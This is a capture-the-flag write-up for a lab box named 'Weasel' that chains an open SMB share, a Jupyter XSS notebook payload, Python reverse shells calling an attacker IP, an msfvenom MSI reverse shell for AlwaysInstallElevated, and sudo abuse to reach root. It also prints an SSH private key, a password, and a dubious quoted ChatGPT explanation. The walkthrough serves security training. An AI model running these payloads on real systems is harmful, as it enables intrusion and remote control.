Weasel

I think the data science team has been a bit fast and loose with their project resources. - by huskyhacks

Recon

There are six ports open, the server offers SSH, SMB, RDP and a web server. The box itself might be a windows machine.

root@ip-10-10-27-71:~# nmap -sT -sV -sC -O -p 135,3389,445,8888,22,139 10.10.108.11

Starting Nmap 7.60 ( https://nmap.org ) at 2023-05-22 20:12 BST
Nmap scan report for ip-10-10-108-11.eu-west-1.compute.internal (10.10.108.11)
Host is up (0.00028s latency).

PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 2b:17:d8:8a:1e:8c:99:bc:5b:f5:3d:0a:5e:ff:5e:5e (RSA)
|   256 3c:c0:fd:b5:c1:57:ab:75:ac:81:10:ae:e2:98:12:0d (ECDSA)
|_  256 e9:f0:30:be:e6:cf:ef:fe:2d:14:21:a0:ac:45:7b:70 (EdDSA)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DEV-DATASCI-JUP
| Not valid before: 2023-03-12T11:46:50
|_Not valid after:  2023-09-11T11:46:50
|_ssl-date: 2023-05-22T19:12:47+00:00; 0s from scanner time.
8888/tcp open  http          Tornado httpd 6.0.3
| http-robots.txt: 1 disallowed entry 
|_/ 
|_http-server-header: TornadoServer/6.0.3
| http-title: Jupyter Notebook
|_Requested resource was /login?next=%2Ftree%3F
MAC Address: 02:48:C8:C7:60:2F (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Longhorn (92%), Microsoft Windows Server 2012 (92%), Microsoft Windows Vista SP1 (92%), Microsoft Windows Server 2012 R2 Update 1 (91%), Microsoft Windows Server 2016 build 10586 (91%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (91%), Microsoft Windows Server 2012 R2 (90%), Microsoft Windows 10 build 10586 (90%), Microsoft Windows Server 2008 SP2 (90%), Microsoft Windows 7 SP1 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: DEV-DATASCI-JUP, NetBIOS user: <unknown>, NetBIOS MAC: 02:48:c8:c7:60:2f (unknown)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-05-22 20:12:47
|_  start_date: 1600-12-31 23:58:45

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

The first hints might be on the Webserver, directly visiting its IP we will be redirected to a login page which requires a token or a password. The title states Jupyter.

Next, using Gobuster to find any interesting directories:

root@ip-10-10-27-71:~# gobuster dir -u http://10.10.108.11:8888 -w /usr/share/wordlists/dirb/big.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.108.11:8888
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2023/05/22 15:54:06 Starting gobuster
===============================================================
/api (Status: 200)
/cgi-bin/ (Status: 302)
/edit (Status: 302)
/favicon.ico (Status: 200)
/lab (Status: 302)
/login (Status: 200)
/logout (Status: 200)
/metrics (Status: 302)
/robots.txt (Status: 200)
/tree (Status: 302)
/view (Status: 302)
===============================================================
2023/05/22 15:54:46 Finished
===============================================================

The API directory might have something interesting. It reveals us the version number of Jupyter.

Jupyter 6.0.3 which is interesting for further investigations.

We catch the request with Burpsuite while trying to log in. With the information gathered we attempt to craft a command in Hydra to try several passwords.

On a failed attempt to log in, the page prompts us with "Invalid credentials".

But using the found information with hydra doesn’t lead to success.

http://10.10.108.11:8888/login?next=%2Fview

POST /login?next=%2Fview HTTP/1.1
Host: 10.10.108.11:8888
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Origin: http://10.10.108.11:8888
Connection: close
Referer: http://10.10.108.11:8888/login?next=%2Fview
Cookie: _xsrf=2|f9f833bc|36f76feebbed7fae1eb0fb51d2a17196|1684767267
Upgrade-Insecure-Requests: 1

_xsrf=2%7C4c3bfb12%7C8334a7400e2eb700ab7333ff6762b938%7C1684767267&password=asdasdasdasd
sudo hydra -L /usr/share/wordlists/rockyou.txt -P'' 10.10.108.11 http-post-form "/login?next=%2Fview:password=^USER^&_xsrf=2%7C4c3bfb12%7C8334a7400e2eb700ab7333ff6762b938%7C1684767267:Invalid credentials"

To get further, we look into the SMB shares that are available.

The datasci-team stands out and is enumerable without any credentials.

root@ip-10-10-27-71:~/smbmap/smbmap# smbclient -L 10.10.108.11
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\root's password: 

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	datasci-team    Disk      
	IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.108.11 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available

And there is a token:

smbclient -N \\\\10.10.108.11\\datasci-team 
WARNING: The "syslog" option is deprecated
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Aug 25 16:27:02 2022
  ..                                  D        0  Thu Aug 25 16:27:02 2022
  .ipynb_checkpoints                 DA        0  Thu Aug 25 16:26:47 2022
  Long-Tailed_Weasel_Range_-_CWHR_M157_[ds1940].csv      A      146  Thu Aug 25 16:26:46 2022
  misc                               DA        0  Thu Aug 25 16:26:47 2022
  MPE63-3_745-757.pdf                 A   414804  Thu Aug 25 16:26:46 2022
  papers                             DA        0  Thu Aug 25 16:26:47 2022
  pics                               DA        0  Thu Aug 25 16:26:47 2022
  requirements.txt                    A       12  Thu Aug 25 16:26:46 2022
  weasel.ipynb                        A     4308  Thu Aug 25 16:26:46 2022
  weasel.txt                          A       51  Thu Aug 25 16:26:46 2022

		15587583 blocks of size 4096. 8939858 blocks available
smb: \> cd misc\
smb: \misc\> ls
  .                                  DA        0  Thu Aug 25 16:26:47 2022
  ..                                 DA        0  Thu Aug 25 16:26:47 2022
  jupyter-token.txt                   A       52  Thu Aug 25 16:26:47 2022

		15587583 blocks of size 4096. 8939858 blocks available
smb: \misc\> get jupyter-token.txt 
getting file \misc\jupyter-token.txt of size 52 as jupyter-token.txt (50.8 KiloBytes/sec) (average 50.8 KiloBytes/sec)

Initial Access

With the found token we log in to the page.

With the discovered version number an exploit is easily found. We are able to get RCE through XXS:

By editing a ipynb file with the following payload:

{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 0,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<select><iframe></select><img src=x: onerror=alert('xss')>\n"],
      "text/plain": []
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    ""
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.9.6"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}

To do that we just duplicate the given:

And enter the payload in the created copy.

File → Save

And then open your copy by accessing the page http://10.10.108.11:8888/notebooks/weasel-Copy1.ipynb

Testing it, we have a python command line.

Next, try to deploy a Windows reverse shell, because of the results of the Nmap scan, we might face a windows machine.

import os
import socket
import subprocess

if os.cpu_count() <= 2:
    quit()

HOST = '10.10.27.71'
PORT = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(str.encode("[*] Connection Established!"))

while 1:
    try:
        s.send(str.encode(os.getcwd() + "> "))
        data = s.recv(1024).decode("UTF-8")
        data = data.strip('\n')
        if data == "quit": 
            break
        if data[:2] == "cd":
            os.chdir(data[3:])
        if len(data) > 0:
            proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 
            stdout_value = proc.stdout.read() + proc.stderr.read()
            output_str = str(stdout_value, "UTF-8")
            s.send(str.encode("\n" + output_str))
    except Exception as e:
        continue
    
s.close()

It looks like this:

Next, run a listener on the attacker machine:

But it’s a Linux machine, maybe it's a Windows subsystem for linux, this might come in handy for the more direct alternative attack path.

In the folder /home/dev-datasci is an SSH private key named dev-datasci-lowpriv_id_ed25519.

dev-datasci-lowpriv_id_ed25519
/home/dev-datasci> cat dev-datasci-lowpriv_id_ed25519

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBUoe5ZSezzC65UZhWt4dbvxKor+dNggEhudzK+JSs+YwAAAKjQ358n0N+f
JwAAAAtzc2gtZWQyNTUxOQAAACBUoe5ZSezzC65UZhWt4dbvxKor+dNggEhudzK+JSs+Yw
AAAED9OhQumFOiC3a05K+X6h22gQga0sQzmISvJJ2YYfKZWVSh7llJ7PMLrlRmFa3h1u/E
qiv502CASG53Mr4lKz5jAAAAI2Rldi1kYXRhc2NpLWxvd3ByaXZAREVWLURBVEFTQ0ktSl
VQAQI=
-----END OPENSSH PRIVATE KEY-----
/home/dev-datasci>

Copy the key to file on attack machine and change its permissions via chmod 600

But it did not work with the user revealed by the reverse shell, instead it might be the key of another user. A user on the windows box?

Using the username dev-datasci-lowpriv from filename of the found key, we are able to log in via SSH as dev-datasci-lowpriv and are now on a windows machine.

User flag

Looking a bit around the first flag is found on the desktop of dev-datasci-lowpriv.

Hosting the File PrivescCheck via a Python Webserver on the attacker machine its possible to retrieve it via wget. With PrivsescCheck.ps1 it’s easy to determine some possible vulnerabilities to escape privileges.

To run the script use the following command:

powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

First of all we find credentials for our user, which might come in handy later

Creds dev-datasci-lowpriv:wUqnKWqzha*W!PWrPRWi!M8faUn

The last part of the script reveals us, that AlwaysInstalledElevated is enabled

For interest in crafting the revere shell, check for the architecture:

Using the following article to target the vulnerability AlwaysInstalledElevated

With msfvenom it’s possible to craft a reverse shell inside a msi file.

msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.27.71 lport=1234 -f msi > 1.msi

Again using the python webserver on the attack box to get the msi

run a listener to catch the reverse shell on given port

With msiexec and the flag /qn = No Gui, /i =Regular it’s possible to install the msi in command line.

But it doesn’t succeed. Its not able to establish a connection.

With a hint, using the command runas to run msiexec solves the problem.

PS C:\Users\dev-datasci-lowpriv\Desktop> runas /user:dev-datasci-lowpriv "msiexec /i C:\Users\dev-datasci-lowpriv\Desktop\revshell.msi /qn /L*V C:\Users\dev-datasci-lowpriv\
Desktop\error"
Enter the password for dev-datasci-lowpriv: 
Attempting to start msiexec /i C:\Users\dev-datasci-lowpriv\Desktop\revshell.msi /qn /L*V C:\Users\dev-datasci-lowpriv\Desktop\error as user "DEV-DATASCI-JUP\dev-datasci-low
priv" ...
PS C:\Users\dev-datasci-lowpriv\Desktop>

ChatGPT has the following explanation why it works this way:

When you run msiexec directly in your SSH session, it uses the current user's privileges and permissions to execute the command. If the user account "dev-datasci-lowpriv" does not have sufficient privileges or lacks necessary permissions, it could result in the failure of the msiexec command.

However, when you use runas /user:dev-datasci-lowpriv to execute msiexec, it runs the command under a different process with the specified user's credentials. This effectively elevates the privileges of the command, potentially bypassing any restrictions or permission issues associated with the current user account.

Root flag

now we are able to access the root flag with the new reverse shell.

Alternative attack path

For the alternative attack path we have to chose a more stable reverse shell, which is able to spawn a shell. We know from our previous reverse shell, that python3 is available, so we use Python3#2 from revshells.com spawning a /bin/bash.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.191.197",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

After successfully getting a reverse shell, it’s time to upgrade it.

Due to the upgrade echo does not work correctly, but printf does it just as well.

In the inital enumeration via sudo -l, it is possible to run /home/dev-datasci/.local/bin/jupyter as sudo without a password. This file does not exist, so its up to our own to create this file, and enter what ever we want to be executed with sudo. In this case /bin/bash

cd /home/dev-datasci/.local/bin/
printf '#!/bin/bash\n' > jupyter
printf '/bin/bash\n' >> jupyter
chmod +x jupyter

Running this with sudo gives us now a bash with root permissions.

Now moving into the root directory and creating a folder, to mount the wsl host, maybe its possible to directly retrieve the flags from there.

root@DEV-DATASCI-JUP:~# cd /root
root@DEV-DATASCI-JUP:~# mkdir windows
root@DEV-DATASCI-JUP:~# mount -t drvfs C:\ /root/windows
mount: C: /root/windows: can't find in /etc/fstab.

to resolve the issue add C: /root/windows drvfs defaults 0 0 to the /etc/fstab

and run mount -a

Now we are able to traverse through the Windows filesystem.

User flag

Last updated